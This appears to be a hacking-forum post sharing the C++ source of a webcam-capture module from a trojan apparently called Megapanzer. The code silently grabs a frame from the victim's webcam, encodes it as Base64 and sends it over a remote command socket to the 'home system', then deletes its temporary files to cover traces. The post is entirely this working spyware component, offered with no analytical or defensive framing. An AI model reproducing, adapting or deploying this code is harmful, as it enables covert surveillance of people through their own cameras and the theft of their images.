[C++]Webcam Capture

[slacker]

Code:

#include <stdio.h> #include <windows.h> #include <Vfw.h> #include "Megapanzer_Definitions.h" extern HWND gWND; DWORD WINAPI sendWebcamCaptureInfos(PVOID pParameter) {   HWND lWndVideoHandle;   CAPSTATUS lCapStat;   DWORD lRetVal = 0;   char *lBMPFileName = "info.bmp";   char *lJPGFileName = "info.jpg";   char lJPGFileBaseName[MAX_BUF_SIZE + 1];   HANDLE lFileHandle = INVALID_HANDLE_VALUE;   DWORD lJPGFileSize = 0;   char *lPreEncodedData = NULL;   char *lEncodedData = NULL;   DWORD lBytesRead = 0;   char lTemp[MAX_BUF_SIZE + 1];   int lFuncRetVal = 0;   PANZER_COMMAND *lCommandStructure = (PANZER_COMMAND *) pParameter;   SYSTEMTIME lSystemTime;   /*    * initialize values    */   ZeroMemory(&lCapStat, sizeof(CAPSTATUS));   ZeroMemory(&lSystemTime, sizeof(lSystemTime));   ZeroMemory(lJPGFileBaseName, sizeof(lJPGFileBaseName));   GetLocalTime(&lSystemTime);   snprintf(lJPGFileBaseName, sizeof(lJPGFileBaseName) - 1, "%04d-%02d-%02d-%02d-%02d-%02d.jpg", lSystemTime.wYear, lSystemTime.wMonth, lSystemTime.wDay, lSystemTime.wHour, lSystemTime.wMinute, lSystemTime.wSecond);   ZeroMemory(lTemp, sizeof(lTemp));   _snprintf(lTemp, sizeof(lTemp) - 1, "<webcam>");   lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);   /*    * capture webcam frame    */   Sleep(500);   lWndVideoHandle = capCreateCaptureWindow("WebCam",WS_CHILD, 0, 0, 320, 240,(HWND) gWND, (int) 1);   capDriverConnect(lWndVideoHandle, 0);   Sleep(1000);   capGetStatus(lWndVideoHandle, &lCapStat, sizeof(CAPSTATUS));   capGrabFrame(lWndVideoHandle);   capEditCopy(lWndVideoHandle);   capFileSaveDIB(lWndVideoHandle, lBMPFileName) ;   capDriverDisconnect(lWndVideoHandle) ;   DestroyWindow(lWndVideoHandle);   convertBMP2JPG(lBMPFileName, lJPGFileName);   if ((lFileHandle = CreateFileA(lJPGFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) != INVALID_HANDLE_VALUE)   {     lJPGFileSize = GetFileSize(lFileHandle, 0);     /*      * encocd created jpg file      */     if ((lPreEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)     {       ReadFile(lFileHandle, lPreEncodedData, lJPGFileSize, (unsigned long *) &lBytesRead, NULL);       CloseHandle(lFileHandle);       if ((lEncodedData = (char *) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, lJPGFileSize * 2)) != NULL)       {        /*        * transfer picture data to home system        */         Base64encode(lEncodedData, lPreEncodedData, lBytesRead);         ZeroMemory(lTemp, sizeof(lTemp));         _snprintf(lTemp, sizeof(lTemp) - 1, "<filename>%s</filename><filecontent>", lJPGFileBaseName);         lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);         lFuncRetVal = send(lCommandStructure->lRemoteSocket, lEncodedData, Base64encode_len(lBytesRead) - 1, 0);         ZeroMemory(lTemp, sizeof(lTemp));         _snprintf(lTemp, sizeof(lTemp) - 1, "</filecontent>");         lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);       } // if ((lEncodedData = (char *) He...     } // if ((lPreEncodedData = (char *) HeapAlloc(GetP...   } // if ((lFileHandle = CreateFileA(lJPGFileFullPath,...   ZeroMemory(lTemp, sizeof(lTemp));   _snprintf(lTemp, sizeof(lTemp) - 1, "</webcam>");   lFuncRetVal = send(lCommandStructure->lRemoteSocket, lTemp, strlen(lTemp), 0);   /*    * cleaning up before returning    */   DeleteFile("info.bmp");   DeleteFile("info.jpg");   return(lRetVal); }

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